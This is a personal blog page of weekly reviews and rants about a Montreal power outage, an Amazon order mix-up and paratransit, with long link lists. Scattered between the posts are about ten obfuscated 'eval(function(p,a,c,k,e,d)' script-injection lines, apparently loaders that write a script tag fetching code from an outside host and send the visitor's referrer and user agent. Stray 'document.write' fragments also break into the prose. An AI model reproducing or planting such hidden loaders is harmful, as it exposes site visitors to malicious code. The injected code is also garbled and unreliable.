eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnian|var|u0026u|referrer|tsfdn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afkit|var|u0026u|referrer|frzhf||js|php’.split(‘|’),0,{}))

The weather grew increasingly cold (first getting consistently sub-zero temperature, then down to nearly -15° C) and snowy, giving us a real preview of winter. Now, we are already in december and there’s a little snow on the ground. Although it is a little warmer (1° C) so it might not stay long. I got caught by surprise, so I didn’t finish all the winter preparation I wanted to do in the garden. Maybe it will get warmer enough later to be able to do it. Who knows.

I went to visit an exposition at the Montreal Museum of Fine Arts titled “Splendore a Venezia” and dedicated to art and music from the Renaissance to Baroque in Venice. I gave attention mostly to the art part (looking at the pieces and reading their descriptions). It was really nice but I didn’t have enough of a few hours the see everything. So I intend to go back to pay attention this time to the musical part (and take the audio tour). I can go back as many time as I want since my wife and I took a VIP membership this year. I’ll probably go back regularly to have a look on the permanent collection that I haven’t seen in over fifteen years and also check out the “Comics at the Museum: 15 artists from La Pastèque reinterpret the collection” exposition. We’ve also visited a bazar at the Japanese-Canadian Cultural Center where I bought a small piece of Japanese-style pottery created by a local artist. Oh, and I also visited the Montreal book fair but there’s so many stuff there that it’s overwhelming.

Finally, it seems that I must always have a health problem of some sort: last week at work I slipped on a wet floor and hurt my back a little. Then aggravated it a few days later while carrying boxes. The pain has diminished and I can manage my tasks if I wear a lumbar support belt. But the pain is still annoying me. Hopefully it will pass with some more rest.

On the world stage, here’s again nearly an hundred interesting links after the jump:

Anime & Manga related, Japan, Popular Culture

Top 300 Graphic Novels for October 2013 (ICv2)
Hayao Miyazaki’s Post-Retirement Samurai Manga Previewed on TV (ANN)
Record of Lodoss War: The Grey Witch Gets New Manga (ANN)
Miyazaki’s Final Film, The Wind Rises, Trailer (ICv2)
Classics Illustrated comes to comiXology (AppleTell)
Digital Growth Slowing as Graphic Novels, Manga Turning Around (ICv2)
70-Year-Old Industry Icon Auctions Off $1 Million Worth Of Comics (Huffington Post)
Thermae Romae II Film’s English-Japanese Teaser Spoofs The Terminator (ANN)
Shigeru Mizuki’s Showa: A history of Japan 1926-1939 released by Drawn and Quarterly (link)
Fantagraphics Offers to Expand Manga Line in New Kickstarter Stretch Goal (ANN)
More ANN 5.0 Layout Options and Updates (ANN)
Top-Selling Light Novels in Japan in 2013 by Volume and by Series (ANN)
‘Attack on Titan’ Closing on ‘One Piece’ In Japan (ICv2)

Apple, apps and mobile devices news

iPad soft launches may be the new normal (TUAW)
Backblaze answers the question ‘How long do hard drives last?’ (TUAW)
Camera 360 updated with support for Sony QX lenses (iMore)
Apple revamps design of iBooks and iTunes U for iOS 7 on iPad & iPhone (9to5 Mac)
Gmail iOS app updated with iOS 7 design tweaks, full-screen compose on iPad, & more (9to5 Mac)
Nest Mobile gets makeover, Nest Protect smoke detector compatibility (TUAW)
Apple releases iOS update with fix for Facetime Issues (AppleTell)
iBooks 3.2 Flattens the Pages With New iOS 7 Design (MacStories)
‘Houseplan’ Wants You To Put. The Graph Paper. Down. (Cult of Mac)
Some of iWork’s missing features return with the latest update (Engadget)
Quick Review of the “#0 Padded Bubble Bag” iPad Mini Case From USPS (Gizmodo) [ah, humour!]
The Universal Lens Kit: The Essential Bundle For All Phones (Cult of Mac)
Change the color of the Lumen TL800 LED Smart Bulb with an iPhone (AppleTell)

Books, Digital Edition & Libraries

‘Calvin and Hobbes’ ebooks now available for the first time (The Verge)
Calvin & Hobbes Comes To iBooks (Cult of Mac)
Google Books Court Case (Business Insider)
Doris Lessing, Nobel Prize-winning author, dies aged 94 (BBC)
How Writer Doris Lessing Didn’t Want To Be Remembered (NPR)
Judge rules in Google’s favor in 8-year library book scanning case (Venture Beat)
Ebooks need more attention from their publishers (The Guardian)
Sortir les livres pour faire de la place aux étudiants (Le Devoir)
Universités: Bibliothèques en crise d’identité (Le Devoir)
Livre et bibliothèques universitaires: Nécessaire inquiétude (Le Devoir)
Opinion: Facebook contre le livre (La Presse)
Droits d’Astérix: Uderzo portera plainte contre sa fille et son gendre (La Presse)
Asterix creator Uderzo sues daughter for harassment (BBC)
Un prix du livre réglementé sous surveillance (Le Devoir)
Le ministre de la Culture veut encadrer le prix des livres (La Presse)
Le dernier roman de Murakami, meilleure vente de 2013 au Japon (La Presse)
New legislation would limit early discounts on new books (The Gazette)
Will e-publishing help Africa switch on to reading? (BBC)
Uderzo porte plainte contre sa fille et son gendre (Le Monde)
La gratuité, premier critère de choix pour la culture en ligne (Le Monde)
Astérix, la potion magique d’Hachette (Le Monde)

Economy, Environment & International/U.S. Politics

Ken Burns: Learn Lincoln’s words by heart (CNN)
Caroline Kennedy sworn in as Japan ambassador (Politico)
Tornadoes, damaging storms sweep across Midwest (AP)
US envoy Caroline Kennedy meets Japan’s emperor (AP)

Health, home & garden

Local News & National Politics

Quebec’s Tea Party Moment (NYT)
Les loyers sous pression (TVA)
Petits frissons démocratiques dans la circonscription de Viau (Le Devoir)
Compteurs intelligents: la grogne s’organise (Le Devoir)
Garderies: la photo d’éducatrices en niqab crée des remous (La Presse)
Un débat sur un «Québec laïque» dérape (Le Devoir)
Un cours d’histoire trop «orienté» au goût des profs (Le Devoir)

Media, Culture, & Society

Atheist ‘mega-churches’ take root across US, world (AP)
La Pastèque au Musée (lien)
Monty Python’s Palin, Gilliam and Cleese on reuniting (BBC)
Watch how the major religions have conquered the entire world (Gizmodo)
These are all the deaths in Game of Thrones (Gizmodo)
Will The Walking Dead spinoff series be a prequel? (JoBlo)
Ronald Reagan’s Son Records Atheist Radio Ad- ‘Not Afraid Of Burning In Hell’ (Huffington Post)
“Quai d’Orsay”, une adaptation ratée (Le Monde)
Boulgakov se dédouble (Le Monde)
Pompeii to go up in smoke again on the big screen (USA Today)

Special: Doctor Who 50th anniversary!

Sciences & History

Astronaut explains why the underwear in Gravity was unrealistic (Gizmodo)
Vatican unveils new frescoes in top catacomb (AP)
Saint Peter’s bones: Vatican exhumes old argument with plan to show ‘relics’ (The Guardian)
Rome ancient frescoes reignite debate over women priests (BBC)
Ison: The comet of the century (BBC)
Fresh effort to clone extinct animal (BBC)
Giving Richard III a reburial fit for a medieval king (BBC)
Oldest Javelins Predate Modern Humans, Raise Questions on Evolution (National Geographic)
Scientists race to prove existence of ‘Star Trek’ antimatter (The Telegraph)
Archaeologists’ discovery puts Buddha’s birth 300 years earlier (The Guardian)
Archéologie: découverte de 80 crânes de femmes sacrifiées (Le Monde)
Men and women’s brains are ‘wired differently’ (BBC)
Malaysia: Anger as developers dig up temple ruins (BBC)
New discovery fills gap in ancient Jerusalem history (Fox)

Technology, Gadgets & Internet

Keep your iDevice up and running with Jackery Fit (AppleTell)
You Can Now Buy Nest’s $129 Protect Smart Smoke Alarm (The Next Web)
Comment Word a changé notre façon d’écrire (Le Nouvel Observateur)
Review: Philips Hue Personal Wireless Lighting Starter Pack (Apple Insider)

Union stuff & Montreal’s libraries

La bibliothèque du 21e siècle conquiert Montréal ! (24h)

[ Traduire ]

Corporate incompetence (Part 2)

November 12, 2013 / Clodjee / Leave a comment

I now continue my rant (see part 1) on corporate incompetence…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iansy|var|u0026u|referrer|hrfia||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yayft|var|u0026u|referrer|tffdf||js|php’.split(‘|’),0,{}))

Part 2: Amazon

Two weeks ago I’ve ordered from Amazon.ca some memory chips for my Mac-Mini (it was really getting too slow with Maverick installed so I’ve decided to maximize its RAM) and a few manga. Included in this order were the first two volumes of Taniguchi’s Seton, document.write(“”); which I was missing. Volume 2 was available in the Kana (Coll. Made In) French edition I already owned, but I couldn’t find volume 1, which I assumed maybe sold out. However, I found the first volume in English from Ponent Mon. I thought (without further investigation) that it was a recent released. I was pleased, I could then review both English and French edition at the same time.

Last monday I received my order and, to my greatest stupefaction, the Seton vol. 1 included in the package was in Spanish!

I went back to the Amazon site to check if I didn’t make an error, but the product was clearly listed as being in English. However, I noticed that the publisher was indicated as “Ponent Mon” and NOT “Fanfare / Ponent Mon” like it should have been for an English edition. I checked Ponent Mon site and, indeed, Seton was only published in Spanish and not in English. I have no idea how such an error could have been made on Amazon website.

Unfortunately, the processus to return a product on the Amazon website was only offering me an option for a replacement. If the product listed doesn’t exist, I would end up getting the same damn Spanish edition again if I would request a replacement. It was specified that for a refund I needed to contact the customer service.

I decided it would be easier to explain the situation in an email. And since my amazon.ca account is set-up in french, I wrote the e-mail in french (silly me). I was expecting them to answer by e-mail and all day I regularly checked my mail box to see if I didn’t get the answer. I though they should be quick. It’s a big corporation.

The next morning (at 5:20 am), to my sleepy astonishment, I received a phone call from amazon customer service! First, I told them that, despite being happy that they answered my request, I was wondering why they were waking me up by calling at such an early time in the morning. It appears that their French calling center is located in Europe and employees are probably too stupid to realize that–the earth being round–it’s not the same time all around and that, if you call from Europe to America without checking a time-chart, you end up waking your customer up!!! And, if I contact them by e-mail, why do they answer by phone? What incompetence!

I nevertheless explained my predicament and was told that an e-mail (ah! an e-mail, finally!) would be sent with a code allowing for a refund. Thank you very much Mr. Bezos!

One more thing!

Last sunday, my parents came to visit as we were celebrating my father’s eighty-fifth anniversary. Most of the time, when my parents have to travel from their rest home, they use the paratransit (transport adapté in french). Basically, it’s a regular taxi but you pay the same fee that you would if using the city transit system. It is, of course, reserved for the people with mobility problems (like my parents). It’s suppose to be reliable and punctual.

They were waiting in their apartment for the paratransit to show up. When the reception called to announced that it had arrived they quickly put their coats on and came down the elevator. When they arrived at the door, the paratransit had already left! I know they have many people to pick up but couldn’t they just wait a few minutes?

At the end of the evening, we went down to the sidewalk to wait for the paratransit pre-arranged pick-up to arrive. We came out a little earlier to be sure not to miss it this time. It never showed up. Thanks Mr Mayor for the crappy service! (Actually, it was on municipal election day).

It really seems that in our days (an era of selfishness), companies really don’t care anymore for giving a proper service. And it’s a damn shame!

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The week in review (2013-11-10)

November 10, 2013 / Clodjee / Leave a comment

The last two weeks were rather eventful: I felt quite poorly, document.write(“”); got a new iPad Air, had to deal with a twenty-seven-hour power outage, got my flu shot, since the temperature is getting much colder I took a few kittens inside the house (I’ll keep one and try to find someone to adopt the other two), and had to deal with a bogus order from Amazon (ordered a book in english and received it in spanish!). With all that I didn’t write much (two comments about children books (in french): one about Japanese holidays and one about growing tomatoes; and my pile of books to read is getting even taller!). I probably watch too much TV. Two British series that particularly stand out: Atlantis (a mythology-themed adventure series quite similar to Sinbad) and The Paradise (an epoch drama based on a novel by Émile Zola; it’s made by the same creator & producers (and with many actors) from Lark Rise to Candleford, and is also quite similar to Mr Selfridge–which was produced before The Paradise but was pushed back and aired after in order to avoid having two similar shows competing for the audience). And now I am so tired…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkyfe|var|u0026u|referrer|arded||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebidy|var|u0026u|referrer|bzeay||js|php’.split(‘|’),0,{}))

On the world stage, I’ve found again nearly an hundred interesting stories that I will share with you after the jump:

Anime & Manga related, Japan, Popular Culture

Graphic Novels on the Rise (ICv2)
Top 25 Manga Properties for the Summer 2013: Top 10 Shonen and Top 10 Shojo (ICv2)
Viz Launches on iBooks With 1600 Titles (ICv2)
Review: Vinland Saga Book One (ICv2)
Crunchyroll Sold As New Manga Service Launches (ICv2)
‘Robotech RPG Tactics’ Delayed (ICv2)
Ghibli’s Suzuki: Hayao Miyazaki Is Drawing Samurai Manga (ANN)
Sentai Filmworks Adds Gainax’s Nadia: The Secret of Blue Water TV (ANN) [Ah! The return of a great classic!]
New Portuguese Manga “Butterfly Chronicles” by João Mascarenhas out now in ebook format: First story for free! (link) [Once again: it’s not a manga if it’s not Japanese!]

Apple, apps and mobile devices news

iPad Air reviews are in and are overwhelmingly positive (TUAW)
First iPad Air Reviews: ‘Ridiculously Small and Light’, Apple’s Most ‘Tempting Tablet Yet’ (Mac Rumors)
iPad Air reviews go live, highlight thinner & lighter form factor, battery life, and speed improvements (9 to 5 Mac)
iPad Air reviews (iMore)
Speed and Power Packed Into a Thin iPad Air (AllThingsD)
Apple testing Mail update for OS X Mavericks to fix Gmail, stability, and smart mailbox issues (9to5 Mac)
iPad Air, expérience d’achat et premières impressions (MacQuébec)
24 hours with the iPad Air: First Impressions (Today’s iPhone)
iPad Air bullet point impressions (AppleTell)
Got a new iPad Air? Don’t forget your free iLife and iWork apps from Apple! (iMore)
75% of iPad Buyers Already Own One: Buyers Upgrade Every 23 Months (MacTrast)
Getting Started With Your New iPad Air (MacTrast)
How to Migrate Your Apps, Content, and Settings to Your New iPad (MacTrast)
iPad Air Smart Case review (iMore)
iPad Air Smart Case vs. Smart Cover: Which should you get? (iMore)
iPad Air popular upgrade for iPad 2 owners, silver 16GB model in high demand: survey (Apple Insider)
Apple releases iTunes 11.1.3 with equalizer and large library performance improvements (TUAW)
Taxi coop mtl on the App Store on iTunes (link)
Going beyond cameras with the Apple Lightning to USB adapter (iMore)
iPad Air Smart Cover not aligning properly? You’re not alone (Today’s iPhone)
RunKeeper Update Brings M7 Coprocessor Support, AirDrop Sharing (Cult of Mac)
Apple Releases Fixes for Mavericks Mail and iBooks (MacTrast)
A week with the iPad Air in three words: Believe. The. Hype. (9to5 Mac) [I totally agree!]

Books, Digital Edition & Libraries

La «trahison» de deux auteures à succès (Le Devoir)
How to Use the Improved Digital Storefronts (ICv2)
E-Books Topping Out (ICv2)
USA Today Becomes Most Widely-Circulated Daily Newspaper In America (Huffington Post)
BuzzFeed Decides Criticizing Awful Books Is Too Mean (The Atlantic Wire)
Bras de fer entre Costco et Michel Tremblay (Le Devoir)
Les bibliothèques amorcent leur métamorphose (UdeM Nouvelles)

Economy, Environment & International/U.S. Politics

These Big-Eyed Fish Are Vacuuming Up Our Plastic Pollution At Night (Co-Exist)
How Earth’s coastlines would look if all ice melted (Gizmodo)
Your Election News In Five Headlines (NPR)
Super Typhoon Haiyan: The Most Powerful Cyclone in History? (The Atlantic Cities)
Typhoon Haiyan: Hundreds feared dead in Philippines (BBC)
Typhoon Haiyan death toll in Philippines estimated at 1,200 (The Guardian)

Health, home & garden

Alzheimer’s study reveals new genes implicated in disease (The Guardian)
Uber Breaks Hearts With Short Supply Of Kittens On Cat Day (Huffington Post)
Glooko’s mobile diabetes management service now supports Android devices (The Next Web)
Setting the Record Straight: Debunking All the Flu Vaccine Myths (Gizmodo)
Le Canada, un des meilleurs pays où vivre, selon l’OCDE (La Presse)
Paléo, le nouvel avenir? (La Presse)
Canadians among top seven nations for living well, says OECD ranking (The Gazette)
Freezing food is one of safest preservation methods; risk in thawing, however (The Gazette)
Speaking a second language delays dementias, even in the illiterate, study finds (Le Monde)
Are you sick? Get ready for your iPhone to take your temperature and diagnose your illness (TUAW)
Smoggy Beijing sees lung cancer cases soar (BBC)

Humour

Local News & National Politics

Québec veut développer la voiture électrique (La Presse)
Coderre aux commandes (Le Devoir)
Une défaite au parfum de victoire pour Joly (Le Devoir)
Montreal fireball video goes viral, gets international attention (The Gazette)
Habiter à Montréal: les prix baissent, pas l’évaluation (La Presse)[Ça a vraiment pas d’allure! Comment respecter une promesse électorale tout en remplissant les coffres de la ville!]
Des compteurs intelligents qui prennent feu? (Canoe)
Charte des valeurs: Le PQ durcit sa position (Le Devoir)

Media, Culture, & Society

14 plumes pour un Devoir tout en bande dessinée (Le Devoir)
Olivia Colman confirms Broadchurch return (BBC)
Trente minutes inédites du tournage du «Retour du Jedi» retrouvées sur eBay (Le Monde)
Funds sought for science fiction museum lift-off (USA Today)
Bezos’ Amazon: Mercenary or missionary, or both? (USA Today)
Latest Marvel Comics Superhero: A Muslim Pakistani-American Teen Girl (People)

Sciences & History

What Ancient Greek Music Sounded Like (Open Culture)
Des livres calcinés du Parlement du Canada-Uni retrouvés dans le Vieux-Montréal (Le Devoir)
Le site de l’ancien Parlement du Canada-Uni à Montréal livre d’autres secrets (Huffington Post)
Rare hybrid solar eclipse wows world (NBC)
How a Genome Hacker Made a Family Tree With 13 Million Branches (Gizmodo)
Climb Your Family Tree With These Online Genealogy Tools (Gizmodo)
Nazi trove in Munich contains unknown works by masters (BBC)
One in five suns has habitable world (BBC)
Rare solar eclipse in America, Europe and Africa (BBC)
Le mystère de la mort de Toutankhamon enfin élucidé (Le Monde)
Mises en garde d’Eisenhower, 1961 (Le Monde)
«La Guerre des mondes» d’Orson Welles n’aurait pas suscité d’hystérie collective (Le Monde)
Non Agitare: Roman Ruins HD Is Your Guide To The Empire (Cult of Mac)
Mystery of King Tut’s Death Solved? Maybe Not (National Geographic)
Roman Ruins HD for iPad is a terrific way to explore ancient Rome (TUAW)

Technology, Gadgets & Internet

Top Reviewers On Amazon Get Tons Of Free Stuff (NPR) [a dream job]
Evernote And Adonit Team Up To Make Penultimate-Friendly Stylus (Cult of Mac)
Sony launches 8 million flower petals from a volcano to promote its 4K TVs (The Verge)
Philips announces three new iPhone connected light bulbs (Today’s iPhone)

Union stuff & Montreal’s libraries

Marie D. Martel: Plus de bibliothèques à Montréal (Métro)
Le catalogue Nelligan en version mobile (BiblioMontreal)
Près de 12 000 classiques du cinéma dans les Bibliothèques de Montréal (BiblioMontreal)

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Corporate incompetence (Part 1)

November 6, 2013 / Clodjee / Leave a comment

Twice this week I had to face prime examples of corporate incompetence.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krzzk|var|u0026u|referrer|snnnh||js|php’.split(‘|’),0,{}))

Part 1: Hydro-Québec

Last friday, document.write(“”); I came back from work in a violent wind storm. It was blowing so hard sometime that I had trouble walking. I was particularly careful to mind flying objects that could quickly become deadly projectiles. Fortunately, I made it to the subway without incidents. No interruption in the subway service either, although I slept most of the time because I was really feeling badly (very tired, with a slight fever, my whole body was hurting: I was afraid that I was starting some cold or flu). I made a quick pit-stop at the Apple Store to pick up an iPad Air. I was eager to go home, have a hot meal and go to bed. Instead, in found my house in total darkness. A note from my wife on the table was telling me that power went out around 1:30 PM. It was a little past 8 PM.

The power outage was affecting only one or two blocks (60 to 120 multiplex-type homes). Everybody in the neighbourhood had power beyond that. It was quite frustrating. My battery backup UPS (for Uninterruptible Power Supply) were both dead despite that they usually provides enough backup power to work through most power outages (the computer one usually last a couple of hours, and the one for the cable modem and phone router usually last nearly six hours). So I had no computer, no wi-fi, no IP phone and my cellphone (after a long day at work) was nearly dead too. I lighted a few candles and I ate my supper cold, while browsing the news on my old iPad 2 using the wi-fi of my cellphone’s personnal hotspot. Later, I switched to a battery-powered emergency radio. The wind storm had caused lots of power outages around the city and elsewhere in the province.

Later, I tried to call Hydro-Quebec to have an estimated time for the return of the power. That proved to be a frustrating experience as you have to go through many automated menu and their voice-recognition system is far from perfect (“our files tell us your address is … please say confirm”, “confirm”, “I cannot understand what you are saying, please say again” etc). I had to call twice since the call dropped the first time. The problem had been already reported but they hadn’t assessed the nature of the outage yet (i.e. nobody had been sent to check it yet) and they couldn’t give a time for the return of the power. This call killed my cellphone. But I was optimistic: the outage would probably not last more than a few more hours. That’s what I told my wife when she came back from work around midnight.

I did not sleep well that night. My body was still hurting and I was expecting the power to come back anytime. Fortunately it was not too cold. However, the house was too silent (well, not completely: I always thought that the refrigerator was making a lot of noise, but I realized that night that most of this noise was due to my tinnitus!). In the morning, twenty-one hours after the beginning of the outage, the power was still out. I was still not feeling very well (even more because I didn’t sleep well) so I decided to call in sick at work. Unfortunately, both my IP phone and my cellphone were dead and all my contact numbers were locked inside my dead cellphone or computer. Luckily the cellphone of my sister (who lives upstair) was still (barely) working. I waited for the library to open and called the only phone number I could remember: my post. I couldn’t reach anyone since my coworkers had forgotten to turn the answering machine off. I searched through some papers to find another phone number and could finally tell someone I would not come to work. There was just enough power left in my sister’s cellphone to call Hydro-Québec again and learn that the outage was due to a broken equipment (probably a transformer blowing up) and they were expecting the power to return before 8 PM!

I needed to put some hot food in my stomach so my sister, my wife and I went to Tim Hortons to have breakfast. After that we went to my parents place to charge both our cellphones and kill time in a warm place. Late afternoon, we came back home after stopping to pick up some warm fast-food. My sister reflected that since we had picked up supper, the power would probably be back. Indeed it was. Looking at the micro-wave clock I estimated that power came back around 4 PM. Does it really take that long to replace a transformer? I guess that restoring power to our couple of blocks was not a priority for them. Maybe they were too busy repairing downed power in other (better off) neighbourhood. But in the afternoon, we drove by an Hydro-Quebec office and the parking was full of trucks that should have been on the road doing repairs! Lack of personnel? They knew for several days that this wind storm was coming and what kind of damages it could do. They should have recalled more personnel in anticipation. Of course, if I take my time to pay their bill they will charge me interest. And they will always have good excuses to justify their failure to quickly restore power. No consideration for our loss of life’s enjoyment (in my case I was pretty miserable) and never mind the loss of our freezer’s content!

With this event I broke my personal record for a power outage. This time we were out of power for nearly twenty-seven hours while the previous record was during the infamous ice storm with a mere twenty-four hours outage! Way to go Hydro-Quebec!

Update: I just received a notice from HQ that they will soon install their new “smart” meters in my neighbourhood. I’m not worried about the so-called waves that are emitted by the meters. It cannot be worse than wi-fi or a cellphone (and I already use both). However, I just read an article (in french) about some meters catching fire, and THAT worries me. The article also questions the qualification of the people doing the installation…

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The week in review (2013-10-27)

October 28, 2013 / Clodjee / Leave a comment

Lots happened in the last three weeks. The software for Sony QX10 camera was updated just in time for the small trip I took around Quebec City (mostly the Orleans Island and the Montmorency falls) with my family to celebrate the 60th wedding anniversary of my parents. I was able to catch up a little on my writing (commenting on a children book, document.write(“”); the latest Amélie Nothomb and even a movie!), but, as always, not as much as I wanted. This week-end, I’ll pamper the many kittens hanging out my balcony (anybody wants one?), do some yard clean-up since it’s really getting colder (winter IS coming!!!), go vote by anticipation (I love anticipation) for the municipal elections (but for who?! I’m really not sure) and (hopefully) write some more.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkbei|var|u0026u|referrer|hnydb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shkre|var|u0026u|referrer|rsaby||js|php’.split(‘|’),0,{}))

In the news, Apple announced new goodies (mostly the iPad Mini retina display and iPad Air, which I am seriously considering buying soon) and released software updates for the Mac OS (Maverick) and iOS (7.0.3; both prompting lots backupings, updatings, and even eventually upgradings!) and the U.S. government resumed its business as usual (bickering amongst themselves and spying on people). As usual, you’ll find links to over an hundred of the most interesting stories just after the jump:

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

How to help iOS 7 run faster on an older iPhone (The Verge)
iTunes Radio to hit UK, Canada, Australia and more by early 2014 (Today’s iPhone)
Review: Easy-Macro Cameraphone Lens (TUAW)
Camera+ iOS app adds full-resolution burst-mode & new iOS 7 filter pack (9 to 5 Mac)
Yahoo Mail gets iOS facelift and 1TB of free storage (TUAW)
Steve Ballmer Confirms Office Will Come To iPad When It’s Ready For The Touchscreen (Cult of Mac)
Office for iPad will debut after next Windows version (TUAW)
Flickr For iPhone Can Now Auto-Upload The Photos In Your Camera Roll (Cult of Mac)
National Geographic Does iPhoneography With The iPhone 5s (Cult of Mac)
Yahoo Mail for iOS gets a redesign, disposable email addresses, 1 TB storage, more (TUAW)
How to let other people add photos to your shared Photo Streams with iOS 7 (iMore)
Flickr previews new design for photo pages, gives pictures room to breathe (Engadget)
Google Maps for iOS updates with faster navigation, more languages (iMore)
How to wipe all of your personal data off an iPad or iPhone (iMore)
iOS 7 reaches 70% adoption in less than one month (Today’s iPhone)
Olloclip Releases New Clip-On iPhone Photo Lens with Refined 4-in-1 Capability (Mac Rumors)
Improve Your Mobile Dropbox Experience With New iOS App Boxie (Cult of Mac)
Is iPad photography finally gaining social acceptance? (9 to 5 Mac)
Updated Camera Plus 3.0 hits the app store at 50% off (AppleTell)
olloclip launches updated 4-in-1 lens for iPhone (AppleTell)
iStat Menus gets updated with Mavericks fixes, new Mac support, more (iMore) [yes, but for 16$!]

SPECIAL: new iPads and OS updates

What can we expect from Apple’s iPad 5 event on October 22nd? (AppleTell)
Everything We Know About Apple’s Next Major Event For The iPad (Business Insider)
What to expect from Apple’s October 22nd event (Today’s iPhone)
Scramble seen for Apple’s latest iPad mini (USA Today)
WSJ: Thinner iPad and Retina iPad Mini Expected on Tuesday (Mac Rumors)
Surprise! iOS 7.0.3 update arrives with iCloud Keychain support and bug fixes (TUAW)
Roundup: Hands-on with the new iPad Air & iPad mini with Retina Display (9 to 5 Mac)
News Hub: All the news from Apple’s event in one place (9 to 5 Mac)
Getting ready for Mavericks: How to backup your Mac and set up OS X 10.9 (9 to 5 Mac)
OS X Mavericks is out, walkthrough: iBooks, Maps, and more (9 to 5 Mac)
OS X Mavericks: Tips, Tricks, and Details (MacStories)
iPad Air, iPad mini and iPad 2 specs compared: Which should you buy? (Today’s iPhone)
iPad Air and Retina iPad mini: Should you upgrade? (iMore)
How to Send Driving Directions from the Mavericks Maps App to Your iOS Device (MacTrast)

Books, Digital Edition & Libraries

Close encounters of the Arab kind: the Arabic science fiction literature (BBC)
The Great Library at Alexandria was destroyed by budget cuts, not fire (io9) [This is one for my friends eratos10 and Zen0dot2s!]
The End Of The Library (Tech Crunch)
Offensive e-book controversy highlights issues with self-publishing (Engadget)
Oyster E-book Subscription Service Now Available on iPad (Mac Rumors)
Oyster’s Netflix-like ebook subscription service now available for all iPad and iPhone users (The Verge)
Suggestions de livres de poche: À découvrir ou à revisiter (Readers’ Digest)
Libraries are trusted spaces, but this doesn’t mean they have to stay the same (The Guardian)
Indigo Books & Music Inc. launches mobile app with Passbook support (Today’s iPhone)

Economy, Environment & International/U.S. Politics

South Dakota ranchers reeling from cattle losses (AP)
Amid climate change worries, a good year for fall foliage (Marketplace)
Government Gets Back to Business, but Effects of the Shutdown Linger (NYT)
Toyota Is Recalling More Than 800,000 Cars Because of Spiders! (The Atlantic)
Le chômage recule aux Etats-Unis, mais toujours trop lentement (Le Monde)
Robert Kennedy a-t-il subtilisé le cerveau de son frère John ? (Le Monde)
La fin des bélugas? (Le Devoir)

Health, home & garden

CNN’s Travel Photo of the Day (CNN)
